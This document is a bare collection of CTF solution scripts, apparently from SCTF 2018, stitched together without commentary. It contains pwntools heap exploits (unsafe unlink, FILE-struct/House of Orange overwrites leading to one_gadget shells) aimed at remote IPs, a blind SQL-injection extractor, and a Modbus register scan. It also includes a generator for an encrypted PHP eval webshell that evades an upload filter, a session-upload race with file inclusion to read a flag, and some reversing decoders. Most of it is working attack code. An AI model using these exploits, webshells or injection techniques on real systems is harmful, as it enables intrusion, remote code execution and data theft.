#!/bin/bash
start=400001
offset=50
for ((i=$start; i<=400001+1000; i+=50))  
do
    modbus read --modicon 116.62.123.67 $i $offset
    sleep 1
done

data = [21810, 18035, 25671, 22123, 22577, 11092, 26979, 26482, 22117, 18758, 14640, 18761, 30789, 28503, 12912, 28789, 13161, 12151, 26946, 13638, 30073, 26177, 29764, 29293, 11064, 31308, 21879, 27205, 20314, 13876, 26178, 13162] 
print len(data) flag="" 
for i in range(len(data)):  
    flag+=hex(data[i])[2:].decode('hex') 
print flag
#U2FsdGVkX1+TicgrVeIF90IIxEoW2ppu3i/wiB5FuyfAtDrm+8zLUwjEOZ64fB3j

from pwn import *

debug=0
e=ELF('./libc.so')
context.log_level='debug'
if debug:
    p=process('./bufoverflow_a',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('116.62.152.176',20001)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def alloc(sz):
    se('1\n')
    ru('Size: ')
    se(str(sz)+'\n')
    ru('>> ')

def delete(idx):
    se('2\n')
    ru('Index: ')
    se(str(idx)+'\n')
    ru('>> ')

def fill(content):
    se('3\n')
    ru('Content: ')
    se(content)
    ru('>> ')

def show():
    se('4\n')
    data=ru('1. Alloc')
    ru('>> ')
    return data

#-------leak libc base ---------------

alloc(0x108)
alloc(0x108)
delete(0)
delete(1)

alloc(0x108)

libc=u64(show()[:6]+'\x00\x00')

base=libc-0x399B58

print(hex(base))

delete(0)  #clear

#--------leak heap base------------------------

alloc(0x88)
alloc(0x1000)
alloc(0x500)
alloc(0x88)
alloc(0x88)
alloc(0x88)

delete(1)
delete(2)
delete(4)

alloc(0x88)

delete(1)
delete(5)
delete(3)

delete(0)
alloc(0x98)
alloc(0x88)

heap=u64(show()[:6]+'\x00\x00')-0xb0
haddr=heap+0x18

#clear
delete(0)
delete(1)

#---------unsafe unlink-------

alloc(0x108)
alloc(0x108)
alloc(0xf8)
alloc(0x88)


delete(1)
alloc(0x108)

fill(p64(0)+p64(0x101)+p64(haddr-0x18)+p64(haddr-0x10)+'a'*0xe0+p64(0x100))

delete(2)

alloc(0x1f8)
fill(p64(0x41)*0x3e+'\n')
delete(1)
delete(0)

alloc(0x218)
fill('a'*0x118+p64(0x91)+(p64(0x21)*24)[:-1]+'\n')
delete(3)

delete(2)
alloc(0x88)

delete(0)
delete(1)


io_list_all_addr = base + e.symbols['_IO_list_all']
jump_table_addr = base + e.symbols['_IO_file_jumps'] + 0xc0

alloc(0x218)
file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)

file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(base + 0x3f52a)


fill('a'*0x110+file_struct+'\n')

print(hex(base+0x3f52a))
p.interactive()

from pwn import *

debug=0
context.log_level='debug'
e=ELF('./libc.so')
if debug:
    #p=process('./sbbs')
    p=process('./sbbs',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('116.62.142.216', 20002)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def create(sz,content):
    se('1\n')
    ru('Pls Input your note size')
    se(str(sz)+'\n')
    ru('Input your note')
    se(content)
    ru('your note is\n')
    data=ru('\n')[:-1]
    ru('4.exit')
    return data

def delete(idx):
    se('2\n')
    ru('Input id:')
    se(str(idx)+'\n')
    ru('4.exit')

def login(name,ty):
    se('3\n')
    ru('Please input your name')
    se(name)
    ru('choice type')
    se(str(ty)+'\n')
    ru('4.exit')


#-----leak heap--------
create(0x1488,'\n')
create(0x108,'\n')

delete(0)
data=create(0x108,'a'*17+'\n')[16:]
heap=u64(data.ljust(0x8,'\x00'))-0x61


#clear
create(0x1378,'\n')
delete(0)
delete(1)
delete(2)

#--------use login------


create(0x108,'\n')
create(0xe8,(p64(0x60)+p64(0x21))*0xe+'\n')
create(0x108,'\n')
create(0x108,'\n')

delete(1)
login('a'*8+p64(heap+0x118-0xf),0)



libc=u64(create(0x2e8,'\n')+'\x00\x00')
base=libc-0x3C4B78

io_list_all_addr = base + e.symbols['_IO_list_all']
jump_table_addr = base + e.symbols['_IO_file_jumps'] + 0xc0

delete(1)
create(0x2e8,'a'*0xe8+p64(0x91)+p64(0x21)*30+'\n')


for i in range(5):
    create(0x1408,'\n')


delete(1)

delete(2)

file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)

file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(base + 0x4526a)

create(0x2e8,'a'*0xe0+file_struct+'\n')


se('1\n250\n')
print(hex(base))


p.interactive()

unsigned __int64 __fastcall read_str_E2D(__int64 a1, unsigned __int64 a2)
{
………..
  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1uLL) <= 0 )
    {
      perror("Read faild!\n");
      exit(-1);
    }
    if ( buf == 10 || !buf )  //===========> 这里 buf 读取直到遇到 null buye
………………………………...
}

#coding:utf-8
from pwn import *
import sys
import time

file_addr='./bufoverflow_b'
libc_addr='./libc.so.6'
host='116.62.152.176'
port=20002

p=process('./bufoverflow_b')
if len(sys.argv)==2:
    p=remote(host,port)


def menu(op):
    p.sendlineafter('>>',str(op))

def alloc(size):
    menu(1)
    p.sendlineafter('Size: ',str(size))

def delsome(index):
    menu(2)

    p.sendlineafter('Index: ',str(index))

def fill(con):
    menu(3)
    p.sendlineafter('Content:',con)
def show():

    menu(4)

def new_fill(payload,size):
    for i in range(size):
        fill('a'*(len(payload)-i)+payload[-i])


context.log_level='debug'
# libc leak
alloc(0x88)#0
alloc(0x88)#1

delsome(0)
alloc(0x88)#0

libc=ELF("./libc.so.6")
show()
leak=u64(p.recvline().strip().ljust(8,'\x00'))

libc_base=leak-0x88 -libc.symbols['__malloc_hook']+0x20

p.info('leak '+hex(leak))
p.info('libc_base '+hex(libc_base))
# clear
delsome(0)
delsome(1)


#### overlap unsorted bin 
alloc(0x150) #0
alloc(0x150) #1

payload='a'*0x110
payload+=p64(0x170)+p64(0x31)
payload+=p64(0x200)+p64(0x20)
new_fill(payload,0x28)

delsome(0)

alloc(0x160)#0
delsome(1)

alloc(0x88)#1
fill('a'*0x88)

alloc(0x88)#2
alloc(0x88)#3
alloc(0xb0)#4

alloc(0x160)#5

delsome(2)
delsome(0)

alloc(0xf0)#0
delsome(4)
alloc(0x290)#2

io_list=libc_base+libc.symbols['_IO_list_all']
system_addr=libc_base+libc.symbols['system']
vtable_addr=libc_base+libc.symbols['_IO_file_jumps']+0xc0-0x480
p.info('vtable_addr '+hex(vtable_addr))


file_struct=p64(0)+p64(0x61)+p64(leak)+p64(io_list - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(vtable_addr)
file_struct += p64(libc_base + 0x3f38a)


payload='z'*0x10 
payload+=file_struct


size=len(payload)

# ----- ugly fill ---------------
# one _gadget
fill('z'*(size-1))
fill('z'*(size-0x8)+p64(libc_base +0x3f38a))

# vtable 
fill('z'*(size-0x8-1)+'\x00')
fill('z'*(size-0x10)+p64(vtable_addr))
for i in range(0xd8):
    fill('z'*(size-0x11-i)+'\x00')

# p64(3)
fill('z'*(0x10+0x28)+'\x03')
for i in range(0x8):
    fill('z'*(0x10+0x28-i-1)+'\x00')

# p64(2)
fill('z'*(0x10+0x20)+'\x02')
for i in range(0x8):
    fill('z'*(0x10+0x20-i-1)+'\x00')

# io_list_all -0x10 
fill('z'*(0x10+0x18)+p64(io_list-0x10))

for i in range(0x8):
    fill('z'*(0x10+0x18-i-1)+'\x00')

# unsorted bin addr
fill('z'*(0x10+0x10)+p64(leak))
for i in range(0x8):
    fill('z'*(0x10+0x10-i-1)+'\x00')

# size 0x61 
fill('z'*(0x10+0x8)+'\x61')
for i in range(0x8):
    fill('z'*(0x10+0x8-i-1)+'\x00')

# p64(0)
fill('z'*(0x10)+'\x00')

# trigger orange
alloc(0x88)
exp_bp('aaaaaaa')
p.interactive()

debug=0
context.log_level='debug'
if debug:
    p=process('')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
    e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
    p=remote('149.28.12.44', 10001)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.sendline(x)


def get_addr_data(addr):
    se('DebugSetDataStoreAddress #'+str(addr))
    ru('>')
    se('showinfo')
    data=ru('\n')
    idx=data[1:].index('-')
    t=0x100000000
    d1=int(data[:idx+1])
    d2=int(data[idx+2:])
    d1=(d1+0x100000000)&0xffffffff
    d2=(d2+0x100000000)&0xffffffff
    ru('>')
    return p32(d1)+p32(d2)

def write_data(addr,data):
    se('DebugSetDataStoreAddress #'+str(addr))
    ru('>')
    se('SetHP #'+str(data))
    ru('>')

ru('>')
se('VeroFessIsHandsome')
ru('>')
se('DebugShowDataStoreAddress')

addr=int(ru('\n'))
ru('>')
print(addr)

se('Save')
data=ru('\n')
idx=data[1:].index('-')
t=0x100000000
d1=int(data[:idx+1])
d2=int(data[idx+2:])
d1=(d1+0x100000000)&0xffffffff
d2=(d2+0x100000000)&0xffffffff

print(hex(d1),d2)

data=[]
ru('>')

t1=u32(get_addr_data(d1)[4:])
t2=u32(get_addr_data(d2)[4:])


write_data(d1+4,t2-0x100000000)

se('showinfo')


p.interactive()

function a(r) {
    return D(~r, 1)
}

function D(r, n) {
    return n ? D(r ^ n, (r & n) << 1) : r
}

function E(r, n) {
    return D(r, a(n))
}

function F(r, n) {
    var a = 0;
    while (n) {
        if (n & 1) {
            a = D(a, r)
        }
        r = r << 1;
        n = n >> 1
    }
    return a
}

function G(r, n) {
    var a = 0;
    while (r >= n) {
        r = E(r, n);
        a = D(a, 1)
    }
    return a
}

function H(r) {
    return r.length
}

function J(r, n) {
    return !(r ^ n)
}

function K(r, n) {
    return r[n]
}

function L(r) {
    if (r.length == 1) {
        return r.charCodeAt(0)
    }
}

function M(r) {
    return +r
}

function N(r) {
    return String(r)
}

function Q(r, n, a, v) {
    for (var t = r; t <= n; t++) {
        if (a[t] != v[t - r]) {
            return false
        }
    }
    return true
}

function r(r) {
    var n = r;
    var a = H(n); //返回n长度
    var v = J(a, 24); //n长度为24
    var t = K(n, 0);  //s
    var u = K(n, 1);  //c
    var i = K(n, 2);  //t
    var e = K(n, 3); //取n前四位 赋值到t u i e
    var f = D(L(t), L(i)); //f为231  
    var o = E(L(t), L(u)); //o为16
    var c = K(n, 6);
    var l = K(n, 7);
    var h = K(n, 16);
    var w = K(n, 17); //取n 7 8 17 18位 赋值到c l h w
    var I = J(E(L(u), L(h)), 0); //E(L(u), L(h)) == 0
    var S = J(D(L(c), L(l)), D(L(h), L(w))); //D(L(c), L(l)) == D(L(h), L(w))
    var _ = J(E(L(u), L(c)), 0); //E(L(u), L(c)) == 0
    var g = K(n, 21);
    var p = K(n, 22); //取n 22 23 位 赋值到g p
    var s = J(E(F(L(g), 2), 2), 64);
    var P = Q(9, 15, n, "Pt_In_S"); //9-15为Pt_In_S
    var T = J(L(l), L("r"));
    var b = J(f, 231);
    var d = J(o, 16);
    var j = M(K(n, 5));
    var k = J(G(M(O(N(L(e)), "0")), j), 204);
    var m = M(K(n, 8));
    var q = Q(18, 20, n, "IpT"); //18-20为IpT
    var x = J(E(j, m), 4);
    var y = J(F(m, m), m);
    var z = J(D(L(K(n, 4)), 2), 125);
    var A = J(L(u), 99); //u是 ‘c’ !!!!!!!!!....
    var B = J(L(n[23]), 125);
    var C = J(L(n[22]), 33);
    return v && I && S && _ && s && P && T && b && d && k && q && x && y && z && A && B && C
}

private void SetCountText()
{
    this.countText.text = "Count: " + this.count.ToString();
    if (this.count >= 14) // 改为if (this.count >= 1)
    {
        this.winText.text = "Don't Eat Your Flag!";
        this.floor.transform.position = new Vector3(this.floor.transform.position.x, this.floor.transform.position.y - 2f, this.floor.transform.position.z);
    }
}

f = open("data","rb")
data = f.read()
f.close()

code = ""
for i in xrange(0, len(data)):
    v = ord(data[i])
    vv = 0
    # flip bits
    for j in xrange(0, 8):
        k = v & (1 << j)
        k >>= j
        k <<= 7-j
        vv |= k
    code+=chr(vv)

f = open("code","wb")
f.write(code)
f.close()

# byte_412038
a = \
[
    0x72, 0x61, 0x77, 0x62, 0x7E, 0x07, 0x35, 0x2E, 
    0x26, 0x24, 0x31, 0x38, 0x28, 0x12, 0x35, 0x07, 
    0x18, 0x22, 0x2F, 0x0F, 0x26, 0x34, 0x71, 0x25, 
    0x10, 0x20, 0x27, 0x37, 0x24, 0x32, 0x23, 0x0B, 
    0x18, 0x0E, 0x1F, 0x0F, 0x52, 0x5B
]
for i in xrange(0, 38):
    a[i] ^= i+1
for i in xrange(5, 37):
    a[i] ^= 0x30
for i in xrange(5, 37):
    a[i] ^= [0x73, 0x63, 0x74, 0x66][(i-5) % 4]
flag=""
for i in xrange(0, 38):
    flag+=chr(a[i])
print flag

key = [0xEF, 0x145, 0x93, 0x134, 0x132]
secret = [ord(c) for c in "We1co3t0lmel2eV"]
a = \
[
    [(key[i] - secret[0  + i]) for i in xrange(0, 5)],
    [(key[i] - secret[5  + i]) for i in xrange(0, 5)],
    [(key[i] - secret[10 + i]) for i in xrange(0, 5)],
]
flag = [0 for i in xrange(0, 15)]
for i in xrange(0, 5):
    v = (a[0][i] + a[1][i] + a[2][i]) / 2
    flag[0 + i] = v - a[0][i]
    flag[5 + (i + 1) % 5] = v - a[1][i]
    flag[10 + (i + 2) % 5] = v - a[2][i]
s = ""
for i in xrange(0, 15):
    s += chr(flag[i])
print s

import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
  payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
        #print payload
        url="http://121.196.195.244:9032/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        #print url
        #print len(r1.text)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print i,flag
            break
        p=chr(j)

<?php
if (!isset($lemon_flag)) {
    die('No!');
}
?>
<h1> Admin Login </h1>
<form action="" method="POST">
<input type="text" name="name" value="">
<input type="text" name="pass" value="">
<input type="submit" value="submit">
</form>

<?php
if (isset($_POST['name']) && isset($_POST['pass'])) {
    if ($_POST['name'] === 'admin' && $_POST['pass'] === 'sctf2018_h656cDBkU2') {
        $_SESSION['admin'] = 1;
    } else {
        die('<script>alert(/Login Error!/)</script>');
    }
}

//admin view

if (@$_SESSION['admin'] === 1) {
    ?>
<form action="./?f=upload_sctf2018_C9f7y48M75.php" method="POST" enctype="multipart/form-data">
    <input type="file" value="" name="upload">
    <input type="submit" value="submit" name="submit">
</form>

<?php
}
?>

<?php
if (!isset($lemon_flag)) {
    die('No!');
}

if (@$_SESSION['admin'] !== 1) {
    die('403.');
}

$ip = sha1(md5($_SERVER['REMOTE_ADDR'] . "sctf2018"));
$user_dir = './upload_7788/' . $ip;
if (!is_dir($user_dir)) {
    mkdir($user_dir);
    touch($user_dir . '/index.php');
}

if (isset($_POST['submit']) && !empty($_FILES)) {
    $typeAccepted = ["image/jpeg", "image/gif", "image/png"];
    $blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps", "inc"];
    $filearr = pathinfo($_FILES["upload"]["name"]);

    if (!in_array($_FILES["upload"]['type'], $typeAccepted)) {
        die("type error");
    }
    if (in_array($filearr["extension"], $blackext)) {
        die("extension error");
    }

    $target_path = $user_dir . '/';
    $target_path .= basename($_FILES['upload']['name']);

    if (!move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
        die('upload error!');
    } else {
        echo 'succesfully uploaded! dir: ' . $user_dir . "/" . $_FILES['upload']['name'];
    }
} else {
    die("<script>alert('please upload image.')</script>");
}
?>

import struct
from Crypto.Cipher import AES
import hashlib
import zlib

outfile = 'shell.xxx'

content = '''<?php echo 'Works!'; eval($_POST[a]); ?>'''
if len(content)%16!=0:
    content=content+str((16-len(content)%16)*'0')

md5t = hashlib.md5()
md5t.update("YP68y3FsMDc6TvRgghq")
key = md5t.hexdigest()
iv = key[:16]
# print(key, iv)
dec = AES.new(key, AES.MODE_CBC, iv)
buf1 = dec.encrypt(content)

buf1 = zlib.compress(buf1)

buf0 = ''
i = 0
ch = ord(buf1[i])
while ch:
    buf0 += chr(ch ^ 0x9A)
    i += 1
    ch = ord(buf1[i])
buf0 += buf1[i:]

srclen = len(content)
dstlen = len(buf0)
head = struct.pack('<QQ',srclen,dstlen)

with open(outfile,'wb') as f:
    f.write(head + buf0)

import struct
from Crypto.Cipher import AES
import hashlib
import zlib

infile = 'index2.php'
# path1 = dirr + "5.php"

f0 = open(infile, "rb")
dstlen = srclen = 0
dstlen,srclen = struct.unpack("<QQ",f0.read(16))
buf0 = f0.read(srclen)
f0.close()
print(hex(dstlen), hex(srclen))

# f1 = open(path1, "wb")
buf1 = ""
i = 0
ch = ord(buf0[i])
while(ch):
    buf1 += chr(ch ^ 0x9A)
    i+=1
    if i == 299:
        break
    ch = ord(buf0[i])
buf1 += buf0[i:]

buf1 = zlib.decompress(buf1)

md5t = hashlib.md5()
md5t.update("YP68y3FsMDc6TvRgghq")
key = md5t.hexdigest()
iv = key[:16]
# print(key, iv)
dec = AES.new(key, AES.MODE_CBC, iv)
buf1 = dec.decrypt(buf1)
# f1.write(buf1)
print buf1

#!coding:utf-8
import requests
import time

url = 'http://116.62.71.206:52872/?f=login.php'
data = {'name':'admin','pass':'sctf2018_h656cDBkU2'}

r = requests.post(url,data = data)
PHPSESSID = r.cookies['PHPSESSID']
print 'input the PHPSESSID in include.py' +'\n' + PHPSESSID
time.sleep(10)

while 1:
    url = 'http://116.62.71.206:52872/?f=upload_sctf2018_C9f7y48M75.php'
    files = { 
    "PHP_SESSION_UPLOAD_PROGRESS" : (None,'<?php echo file_get_contents("/tmp/flag_56CcE97QGNxDEXNpW3HY");?>'),  

    "upload" : ("tmp.jpg", open("tmp.png", "rb"), "image/png"), 

    "submit" : (None,"submit")
    }  
    #proxies = {'http':'http://127.0.0.1:8080'}
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    r = requests.post(url,files = files , headers = headers)
    print r.text
    print PHPSESSID
    #开了cleanup，需要竞争，并且保持回话的session

#!coding:utf-8

import requests
PHPSESSID = 'qc2kavokdjiiepu283hduivod2'
while 1:
    url = 'http://116.62.71.206:52872/?f=aa://../../../../var/lib/php/sessions/sess_' + PHPSESSID
    print url
    r = requests.get(url)
    if 'SCTF' in r.text:
        print r.text
        break